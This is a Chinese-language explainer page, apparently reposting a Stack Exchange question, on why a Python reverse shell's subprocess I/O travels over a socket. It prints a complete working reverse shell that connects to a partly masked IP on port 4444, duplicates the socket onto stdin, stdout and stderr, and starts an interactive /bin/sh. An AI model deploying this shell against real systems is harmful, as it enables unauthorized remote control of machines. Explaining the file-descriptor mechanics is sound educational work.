You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python文件描述符工作原理及反向Shell数据流转疑问

Python反向Shell:subprocess与socket数据流转的原理

先看你提到的反向Shell代码:

import socket, subprocess, os

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.11.xxx",4444))

os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)

p = subprocess.call(["/bin/sh","-i"])

为什么subprocess的IO会走socket?

这得从Unix/Linux系统的文件描述符机制和子进程继承规则说起:

  • 文件描述符的默认指向:每个进程启动时,都会默认打开三个文件描述符:0(标准输入stdin)、1(标准输出stdout)、2(标准错误stderr),默认情况下它们都指向当前终端(比如你敲命令的窗口)。
  • dup2的替换作用:os.dup2(s.fileno(), 0) 做的事情是,把socket的文件描述符复制并覆盖掉0号描述符。这意味着,从这一步开始,当前Python进程的标准输入不再是终端,而是已经连接到远程的socket。同理,1和2号描述符也被替换成socket——标准输出、标准错误现在也指向这个socket。
  • 子进程继承文件描述符:当用subprocess.call启动/bin/sh时,子进程会自动继承父进程(也就是这个Python进程)所有打开的文件描述符。所以/bin/sh启动后,它的stdin、stdout、stderr也都是这个socket。

数据到底怎么流转?

  1. 远程监听器发送命令(比如ls),数据通过网络传到socket。
  2. /bin/sh从自己的stdin(也就是socket)读取到命令,执行后把结果输出到stdout——而stdout还是socket,结果就顺着网络发回给远程监听器。
  3. 如果命令执行出错,错误信息会输出到stderr,同样通过socket传回。

说白了,就是用dup2把进程的标准IO“换了个接口”,从终端换成了socket。子进程继承了这个替换后的IO,所以所有输入输出都会自动走socket通道,系统只是按照文件描述符指向的对象来处理数据,不需要额外配置。

内容的提问来源于stack exchange,提问作者jhonnyjhonny

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.16 15:15:46